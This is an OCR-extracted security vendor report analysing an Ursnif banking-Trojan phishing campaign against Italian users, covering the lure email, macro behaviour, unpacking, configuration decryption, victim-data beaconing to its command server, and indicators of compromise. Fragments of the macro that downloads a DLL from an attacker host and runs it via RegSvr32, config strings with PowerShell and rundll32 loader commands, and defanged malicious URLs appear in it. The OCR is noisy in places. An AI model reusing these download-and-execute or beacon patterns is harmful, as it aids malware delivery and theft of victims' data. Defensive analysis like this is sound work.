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FortiGuard Labs Threat Research Report

Affected platforms:  Microsoft Windows

Impacted parties: Windows Users in Italy
Impact: Collects Victims’ Information
Severity level: Critical

Ursnif (also known as Gozi) is identified as a banking Trojan, but its variants also include components (backdoors, spyware,

file injectors, etc.) capable of a wide variety of behaviors.

The Ursnif Trojan has been observed targeting Italy over the past year. A few days ago, FortiGuard Labs detected a phishing
campaign in the wild that was spreading a fresh variant of the Ursnif Trojan via an attached MS Word document that is

continuously targeting Italy.

Although Ursnif is identified as a banking Trojan, due to its C2 server’s shutdown, this latest variant has been unable
download the malicious banking module it needs to steal banking information from the victim, causing it to fail to start the
second stage of its attack. As a result, in this post I will share my findings around the first stage of this campaign. You will
learn what the phishing email looks like, how the MS Word document attached to the email works to download Ursnif, as

well as what this variant does on a victim’s device.

Ursnif Phishing Email

Figure 1.1 is a screenshot of the Ursnif phishing email. As you can see, it was written in Italian and masquerades as a

payment reminder.

B. v Primo sollecito di pagamento Parcella 485 - Message (HTML)

'n_:' Tell me what you want to do...

x ﬁ;\é @ ﬁ% B ¥ Create New ¥ i onetiate E-; ==I

D3 Actions =
3

| a%g'q

Delete  Reply Reply Forward [Ty Mav Mark Categorize Follow  Translate Zoom

All M v Unread - Up~ M -
Delete Respond Quick Steps ] Move Tags (7] Editing Zoom -~
email <info@ < <o > U 12/18/2020
Primo sollecito di pagamento Parcella 485 v

& residuo_8205843.doc
| 183 KB

Gentile cliente, da un accertamento contabile ci risulta che la fattura

numero 294316

del 12/10/2020 scaduta il 12/11/2020 , alla data di oggi non risulta ancora da Voi pagata .
Vi preghiamo pertanto di normalizzare al pit presto la vostra

posizione contabile , ricordandovi a tal proposito che, il suddetto pagamento pud essere
effettuato mediante bonifico bancario utilizzando I'BAN indicato in

Fattura ovvero , a mezzo assegno bancario o circolare.

Potra consultare la Fattura e gli estremi per il pagamento mediante il archivio in allegato.
Vi ringraziamo per |'attenzione e vi porgiamo cortesi saluti.

Figure 1.1. Phishing Email and attached MS Word document
I used Google Translate to translate the email content into English:

Dear customer,
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A recent accounting audit shows that your invoice number 294316 of 12/10/2020 expired on 12/11/2020. As of today, it is
not yet been paid by you.

Therefore, please normalize your accounting position as soon as possible. We are also reminding you that this payment
can be made by bank transfer using the IBAN indicated in the invoice or, by bank check or bank draft.

You can consult the invoice and the details for the payment through the attached archive.
We thank you for your attention and we send you kind regards.

Attached to the email is an MS Word document named “residuo_8205843.doc”. The text lures the victim into opening the

document to get more details of the invoice.
Word Document Analysis

As you may have guessed, the Word document contains malicious Macros. Once the victim opens the document in MS

Word, it pops up a yellow warning bar to alert the user that the file contains Macros, as shown in Figure 2.1.

@“ HY9-0|s residuo_8205843.doc - Microsoft Word = @B =N
Home Insert Page Layout References Mailings Review View Developer [~ o
’—3 4 Calibri (Body) -1 - e& oy
iy B Z U -aex x B AaBbCcDe | AaBbCcDe AaBbCi | _ =
Pa'ste ¥ .. A . TNormal | TNo Spaci.. Headingl | g:‘;:sgf Ed'E'"g
Clipboard 1= T Paragraph Styles Fl
\9 Security W@W Macros have been disabled. Enable Content 3 x
N e ]
u =
Questo file & stato creato con una versione precedente di Microsoft Office Word.
Per visualizzare il contenuto & necessario fare click sul pulsante "Abilita modifiche”,
situato sulla barra gialla in alto, e poi cliccare su “Abilita contenuto”
A
E
o
¥
4 [ M | »
Page:1of1 | Wordsil | S | P3| |aﬂ|3;zi = 100 (00— (+)

Figure 2.1. Opening the attached document in MS Word program

Once the victim clicks the button to enable the Macros, malicious Macro code will be executed in background. A built-in

function, “Document_Open()”, is automatically called first when the document is opened, as shown in Figure 2.2.

P —
#5 Microsoft Visual Basic for Applications - Residuo_8205843 [break] - [ThisDocument (Code)] [o @ ==
i@ File Edit View Inset Format Debug Run Tools Add-Ins Window Help Type a question for help v .8 %
E-d f B8R 906 » 1 a XFY - Q
Project - Project x| |Document ;I IODEI\ j
24 ! | sup Document cpeni) | =
= é Hormal - —
£ & Project (Residuo_8205843) Set myRange = ActiveDocument.Range (Start:=0, End:=Selection.End)
=23 Microsoft Word Objects = For Each aWord In myRange.Words
i ] ThisDocument If Application.CheckSpelling (aWord.Text) Then
=9 Forms aWord,Font.Color = vbRed
[ UserForm1 o> End If
I Next aWord
Properties - ThisDocument x|
| ThisDecument Document <1 || Aeplicavion.Run "Rwe"

End Sub

Alphebetic | Categorized |

Sub Rwe()
UserForml.CommandButtend Click
End Sub

=4l |
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Figure 2.2. Built-in function Document_Open()

I noticed that the attacker creates a hidden UserForm (UserForm1) in the project, and a button’s click event function is

invoked from the Document_Open() function.

professionally productize tactical platforms

Figure 2.3. Hidden UserForm

The main work of the Macro is implemented using this form. In Figure 2.2, we can see that it calls
“UserForm1.CommandButton2_Click”, which belongs to the event function of the “Process” button, as shown in Figure 2.3.
It functions the same as when the victim clicks the “Process” button. Other clicked buttons also directly call their event

functions in code.

The Macro then downloads a DLL file from a hardcoded URL, “longline[.]Jcyou/p1cture3[.]jpg” (refer to Figure 2.4) and
resaves it into the file "C:\users\public\px.dat". The final step the Macro performs is to run the downloaded DLL using the
Windows program “RegSvr32.exe”. Figure 2.4 is the screenshot of when the Macro runs this DLL.

£ Microsoft Visual Basic for Applications - Residuo 8205843 [break] - [UserForm1 (Code)] [E=8Eon === |
i@ File Edit View Inset Fprmat Debug Run  Tools AddIns  Window Help Type a question for help -8 x
iEE-d 4 M 9 » ook NFW S @ wnycan
Project - Project x| [commandguttonz ~] [etiex |
el N ) Set GenericBuffer = CresteObject (DeleteScreenProcedure) 5|
s/ 6 normal GenericBuffer.Open
=8 Project (Residuo_B205843) GenericBuffer . Tvpe = 1
£1-423 Migrosaft Viord Chjects GenericBuffer.Write CounterPrr.ResponseBody
] ThisDocument GenericBuffer.SaveToFile ("C:i\users\public\px.dat")
El-423 Forms £nd 12 - - ’
2 I Save downloaded file into C:\users\public\px.dat
B[] References If SelectTmpConvert = 3 Then
©| Il createcbject (ListBoxl . List(4)) .Run "* &| (DeleteScreenProcedure + "32 ™ & "C:\users\public\px.dac®)
End If |ListBerd List(4) = “WSeript.Shei’| DeleteScreenProcedure = "Regsvr’|
SelectTmpConvert = SelectTmpConvert + 1 Regsvra2 C:\users\public\px.dat
Nexc
End Sub
i bl
rivate Sub CommandButton3_Click()
[ = tisticx: Addizen (Tnacal,Tag
Aphabetic | Categorized | oxl.AddItem ("lon Hardcoded URL
Tist Tcen
End Sub
Public Sub CommandButtonZ_Click() =
=j= 4] | |

Figure 2.4. Downloading and Running a DLL file from the hardcoded URL

Analyzing the Downloaded DLL File

Like most other malware protected by a packer, this downloaded DLL file (C:\users\public\px.dat) is similarly protected by a
packer as well. It is started by RegSvr32.exe, and the unpack program gets called to first extract Ursnif into the memory.
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Ursnif’s DIIEntryPoint() function will be called at the end by the unpack program. Figure 3.1 is a screenshot of the unpacked
DIIEntryPoint() function.

¥ OllyICE - ["C.P.U" - main thread, module px]
@Ellt View Debug Plugins Options Window Help

3 0 B N T B R [ T [ i 8 S [ | L]

I push  ebp @
00181955| 8BEC mov ebp, esp

00181957| 51 push ecx [
00181958 8B45 0C mov £ag

0018195B| 53 b3

0018195C| 56 esi

0018195D| 33DB ebx, ebx

001 8195F 57 push edi

00181960 43 inc ebx

00181961| 33FF xor edi, edi

00181963 2ZBCY sub eax, edi

0018196%| B95D F mov dword ptr [ebp-4], ebx
00181963(. 74 73 je short 0018190D

00181964 48 d eax

0018196E|. OF85 BAROOOOO | jnz 00181AZ4

00181971 68 08411800 push 00184108

00181976 FF15 4030 call dword ptr [183040]
0018197C| 3BC3 cIp eax, ebx
O0LE19TE|. OF85 AG000000 T% 00181424
00181984 &7 P edi
00181985 68 00004000 push

ernel 32. InterlockedIncrement

00181984 57 push edi
0018148E| FF15 20301200 |eall dword ptr [18302C] kernel 32. Heaplreate
00181991 A3 10411800 mov dword ptr [184110], eax -

Figure 3.1. Unpacked DIIEntryPoint() function

According to my analysis, this function’s main task is to decompress another PE file that is secretly kept in the “.reloc”
section. Next, it loads this PE file into a file mapping memory by calling API CreateFileMappingW() and MapViewOfFile())

and executing the code in it. This decompressed PE file is the core module of this variant of Ursnif.

3 OllyICE - [*C.P.U* - thread 00000398, module px] [r=l o]
File View Debug Plugins Options Window Help |- &%
I ] N e K I 0 K S [ N B~

00181B36| 8LDB test ebx. ebx «|Registers (FPU)

00181B328|. 75 17 Jnz short 00181B51 —[Eax 00000000

00181B34| 8BT6 28 mov esi, dword ptr [esi+23] ECY (019FF2D8

00181B3D| 50 push  eax EDX 77C96C04 ntdll. KiFastSystenC3
00181B3E| 64 01 push 1 EBX 00000000

00181B40| 03F7 add esi, edi ESP (19FF34C

00181B42] &7 push edi

EREE 0 call  egi | EsI Too3seEEs]]

00181B45 85C0 test ax, eax

00181B4T|. 75 08 jn short 00181BEL

N0181B49l  FF15 1R3018R00 dunrd ntr 1830181 ~|EIP 00181B43 px. 00181B43

00336EE9| 8B4424 08 nov cax, dword ptr [esptE] -
56 push esi
33F6 ¥or esi, esi
0033 46 inc esi
HD??BEFI 23E8 00 sub eax, [ Core Module
00336EF4|. T4 23 je short 00336F19
48 dec eax
O033EEFT|. T5 34 jnz short O0336FZD

O0336EF9| 68 3CDZ3300 push 33DZ3C
SSZEEFE|  FFLE 10C03300 |call dword ptr [33C010]

00336F04| 3BCE cop eay, esi

00336F06|. 75 25 jnz short D0336FZD

00336F08| FFT424 08 push dword ptr [esp+8] -
T Low Low Tk v bridu B aTaink Hatatatal — L A

Figure 3.2. Call core module’s entry function

In Figure 3.2, we can see that the malware is about to call the entry function of the core module that has been loaded at the
base address 0x330000.

Decrypting the Configuration Block in the Core Module
Ursnif has an encrypted configuration block inside the PE’s “.bss” section to protect its data from easy analysis. So,

decrypting the configuration block is the first thing that it needs to do. The code snippet responsible for decrypting the

configuration block is shown in Figure 4.1, below.
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.text:00331C84
.text:0808331C84 loop decrypt: ; CODE XREF: sub_331CO4+E7L]
FESSSPY text:00331C84 nov cl, byte ptr [ebp+var_4]
' -text:00331C087 nov esi, offset decryption_key ; "Dec 1 2020"
. .text:08331C8C lea edi, [ebpruar_2C]
" .text:00331C8F nousd
. .text:0868331C90 nousd
' .text:00331C091 nousd
' -text:AA331092 nou eax, [ebp+uar_2C]
: .text:00331C95 wor eax, [ebpsuar 28]
' -text:00331C98 nov esi, [ebp+var_C] ; ;; the encrypted configuration block
H _text:08331C98 add eax, [ebpsvar_10]
: -text:08331C9E inc cl
M -text:88331CAB add eax, [ebp+arg_0]
: -text:088331CA3 nov [ebp+var_ 8], 408h
. -text:B8331CAR rol eax, cl ; ; eax then will be the final decryption key
' .text:00331CAC and [ebpruar_14], 8
: -text:BB331CBO
1 .text:B0331CB0 loc_331CBO: ; CODE XREF: sub_331C84+D3}j
H .text:080331CBO mov ecx, [esi]
: -text:00331CB2 mou [ebp+uar 18], ecx
» -text:00331CBS test BCX, BCX
' .text:0808331CB7 jz short loc_331CCD
' -text:00331CBY9 mou edi, [ebp+var_14]
H .text:00331CBC sub edi, eax 3 33 decrypt
' -text:00331CBE add ecx, edi
H -text:A@331CCH mov edi, [ebprvar_18]
H -text:08331CC3 mow [esi], ecx 5 i3 repeatedly save decrypted configuration data
" -text:08331CC5 mov [ebp+var_ 14], edi
: -text:86331CCB add esi, 4
1 -text:88331CCB jmp short loc_331CD4
H .text:88331CCD
: -text:88331CCD
1 .Lext:B0331CCD loc_331CCD: ; CODE XREF: sub_331C04+B31j
. -text:00331CCD mou [ebp+uar_8], 1
[ -LextIiOB331C0D0%
. _text:@O331CD4 loc_331CD4: ; CODE XREF: sub_331C04+C77j
: _text:@8331C04 dec [ebp+uar_8]
' -text:00331CD7 jnz short loc_331CBO
. -text:008331CD9 movw ecx, [edx+h]
' .text:0868331CDC add ecx, [edx]
: -text:06331CDE inc [ebp+uar_N4]
H -text:08331CE1 add [ebp+var_C], 1880h ; ;; the encrypted configuration block
' .text:00331CER cmp [ebp+uar_u], ebx
tesseal -text:AB331CER jb short loop_decrypt
-text:088331CED mov esi, [ebp+var_1C]
-text:B88331CFB

Figure 4.1. Code snippet for decrypting the configuration block

Going through the decrypted configuration block, we can see that it contains a number of ASCII and Unicode strings, as
well as binary data. The values from the configuration block are accessed throughout the core module. Let’s see what it can

get from the decrypted configuration block. Following is a partial list of its strings.
"invalidcert"

"overridelink"

"%08X-%04X-%04X-%04X-%08X%04X"

"StdRegProv"

"/images/"
"version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&"
"name=%s"

"Content-Disposition: form-data; name="upload_file"; filename="%s""

"DeleteKey"

"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)"
"soft=%u&version=%u&user=2%08x%08x%08x%08x&server=%u&id=%u&crc=%x"
"&uptime=%u"

"CreateProcessA"

" "

.avi
"Software\Microsoft\Windows\CurrentVersion\Run"

"rundll32 "%s",%S"
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"&ip=%s"
"&0s=%s"
"&tor=1"
"&dns=%s"

"&whoami=%s"

"/C "copy "%s" "%s" /y && rundll32 "%s",%S""
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"SOFTWARE\Microsoft\Windows NT\CurrentVersion"

"WScript.Shell"

");%S.Run("

"powershell iex ([System.Text.Encoding]::ASCII.GetString(("

"IE8RunOnceLastShown_TIMESTAMP"

"SOFTWARE\Microsoft\Internet Explorer\"

Collecting Sensitive Information and Sending It to the C2 Server

In the core module, Ursnif collects sensitive information from the victim’s device, such as current login Username,

Computer Name, System Uptime, and so on. These are formatted as in the first packets sent to the C2 server. Figure 5.1

shows the ASM code snippet used to obtain Username and Computer Name.

-text:088336140
-text:-0833614A
-text:0833614B
-text:0833614D
text:00336150
-text:00336151
-text:00336154
-text:00336156
-text:088336157
-text:88336158
.text:8833615B
-text:08833615E
text: 00336164
-text:00336167
-text:00336169
-text:0833616F
-text:88336172
-text:088336175
.text:088336176
-text: 08336177
text:0033617A
.text: 00336180
-text:00336183
-text:08336185
-text:086833618B
-text:08833618E
.text:88336192
-text 08336195
text:083361926
-text: 08336199
-text:00833619A
-text:0833619F

push ebp
mou ebp, esp
sub esp, BACh
push ebx
lea eax, [ebp+nSize]
2or ebx, ehx
push eax : nSize
push ebx ; lpBuffer
mow [ebp+var_C], ebx
mouw [ebp+nSize], ebx
| call GetllserHamel
mow eax, [ebp+nSize]
cmp Pax, ehx
jz loc_336217
mow [ebp+var 8], eax
lea eax, [ebp+nSize]
push eax ; nsSize
push ebx ; 1pBuffer
mow [ebp+nSize], ebx
|call ds :GetComputerHamel]
mow eax, [ebp+nSize]
cmp eax, ehx
jz loc_336217
mow ecx, [ebp+var_8]
lea eax, [ecx+eax+?]
mow [ebp+var_8], eax
push edi
shl Pax, 2
push eax ; duBytes
call sub_3358BE ; HeapAlloc
mou edi, eax

Figure 5.1. Calling APIs to obtain Username and Computer Name

It formats all of the collected data into key=value pairs, like the string shown in the memory section of Figure 5.2.
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00331881 8300 40 add eax, 40 -
00331884 50 push Eax 3
003318B5| FF1H 88C03300 |calbl dword ptr [33C083] ntdll, RtlLeaveli—
003318BB| Al Z4D33300 mov eax. dword ptr [33D324]
003318C0| FF30 push dword ptr [eax]
003318C2| FFTR 14 push dword ptr [ebptl4]

E8 62340000 call 00334020
003318CA| SBF3 mov edi, eax
anz21erc L1 CANZI2NN e Auzmrd ot [2202247 %
023BYEZE .

DZ3EY9EGE]) soft=3&version=250167kuser=30140feB190a013fb04f62590fa3c2d2kserv
DZEBOEAR) er=1281d=7246kcre=18uptime=283090&dns=H0Y Tes(Env-PCawhoami=M0TTe
DZEBOEEE] sOEnw@MOYTESOENV-PC. . . . e
2B e e e T
T3
TEEIHE1Y| 0 0 oo ppoooo00000000000000000000000000E0C000000E0000E0C0000000000C
PRS2 0ol boooaneooanacaneooaoannoooonaoansacanoooanocanzananannooooac
PRS0 acocoococaneonanaconeopacansococacaneocanoo00000a0200a0a0000000C
W acocoocncaneananaconeopanansocacaneneacanoooa6ncane0Bananno000ac
PR o nonannanansanonasnneacnnanpananaasnoacanonannannnea 6o naannna6a e

[ Tk s LN rdm]

Figure 5.2. Collected data in a formatted string

Among the key-value pairs, the values of “soft”, “version”, and “crc” are hardcoded. The values of “user”, “server”, and
“id” are hash values. “uptime” is a time value of how long the device has been running. “dns” is the computer name, and

“whoami” is the full user name.

Next, Ursnif encrypts the string and encodes the cipher text with base64. Finally, it transforms the base64 string by replacing
specified bytes and randomly inserting “/”. An example looks like this:

kGmre5fgzV/jtkp5rBSbtChvz3cy/aviHTIxQBzmZ/DH4YpgdvF WT/3ZOkljxvOGI5sK/DKS8qy7zKWSwKdmWKVKNW/3iLRdsyjEatQ2kbQ/97elek9:
TCOCQKSzO32C/EUgtTKuNa/PDAfPobZLDuYwMNjMJqk/BCloHCcWrST20q71Sc7/bX0t3dF50QwhDoo8083JoQ/KNQw3uRXGoOK3/bvb2qé
PolH_2/F

It then adds a prefix string (the domain of the C2 server and “/images/”) and suffix string (“.avi”) before sending the

information to the server.

Ursnif does not directly send the data within the process. Instead, it uses a COM component—*IE ActiveX Interface”—that
is implemented in the module “IEProxy.dll”. Ursnif indirectly calls APIs from this module to perform communication with
C2 server. This means the collected data will be sent by a newly created “iexplorer.exe” process that is started by the COM
component. Figure 5.3 provides the detailed overview processes tree, from which you can not only observe the process
“iexplorer.exe”, but also the relationship between the processes mentioned in this blog, such as “WinWord.exe” and

“RegSvr32.exe”.
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C\Windows'Explorer EXE . C\Windows \Explorer EXE
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Figure 5.3. Process Tree of calling a COM component

[€] File View Debug Plugins

Paused | WJ @I TJ 'ﬁj

00339937 50

00339938 8D45 F3
00339936 50

0033993C| E8 94FDFFFF
i 85C0
00339843, OF84 E7010000
00339949 53

00339944| SBED F3

eax=00000001
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push Eax “ |Registers (FPU
lea cax. dword pir [ebp—8] EAY 00000001
push eax ECX 0l47FGE4
call 00339605 EDX 00008600
test  eax, eax Ol Eex cooooooo
je N 083392&]30 ESP 014TFSEQ
pus ebx EBP 0147F5ES
mowv ebx. dword ptr [ebp—-8 T|EST 00330000
EDI 00000005

02389930 fOT
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02389960 ol
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web. vortex. data.
microsaft. com oc

Figure 5.4. Decrypted C2 server domain string

The domain string of the C2 server comes from a secret data structure that is decrypted from a data block within the “.reloc”

section.

In Figure 5.4, at the bottom of the memory segment, we can see the decrypted secret data structure. The string starting at

offset 0xBO are the domains: “web[.]vortex[.]data[.]Microsoft[.]Jcom”,

»

ocsp[.]scalb[.Jamazontrust[.]Jcom”, and

“gstatistics[.]Jco”. Through my analysis, only the last one is the real C2 server domain.

Figure 5.5 shows what the final packet sent to the C2 server looks like.
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| Filter: Hiding C55, image and general binary content

# ¥ |Host | Method | URL
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559 http #rctidl windowsupdate cgm) GET loadfupd. icrustedr/en/authrootst]. cab?99fdsbb3edfceesd v
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- >
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Accept-Encoding: gzip, deflate
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DNT: 1 4

@é}@@ Search omatches | W | [ Bremy
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]

Figure 5.5. Packet sent to the C2 server

In the next stage, the malware would respond to the received packet with a module (dll, exe, etc.) which would be executed
by Ursnif to perform further malicious attacks on victim’s device. Unfortunately, we did not receive any response because
the C2 server had been shut down. I will continue to try and contact the C2 server. If I am finally able to obtain the module

file, I will post my analysis of it as well.

Fortinet Solution Coverage:

The Word document attached to the phishing email has been detected as “VBA/Ursinf.3412!tr” and the downloaded file has
been detected as “W32/Ursinf.KB!tr” by the FortiGuard AntiVirus service.

The URL used to download Ursnif (DLL file) has been rated as “Malicious Websites” by the FortiGuard WebFilter service.
The CDR (Content Disarm & Reconstruction) feature can also neutralize this threat by removing all malicious Macro code.

The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient and FortiEDR. And the CDR feature is
supported by FortiGate and FortiMail.

We also suggest our readers to go through the free NSE training -- NSE 1 — Information Security Awareness, which has a
module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

IoCs:

URLs:

"hxxp://longline[.]cyou/p1lcture3[.]jpg "

“hxxps://gstatistics[.]co/”

Sample SHA256:

residuo_8205843.doc:

E9732CDCA1B2503E02E8FEA9A4C68EDA940E10890E1C5ABE2CEB2290FE39C3DB

Downloaded DLL file (px.dat or plcture3.jpg):
90D8648B2AAC0C837286A4C042F02064CFBB12F45B3DC6B00B2BECCC7FC35422

Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolio.

Learn more about Fortinet’s free cybersecurity training_initiative or about the Fortinet NSE Training program, Security

Academy program, and Veterans program.
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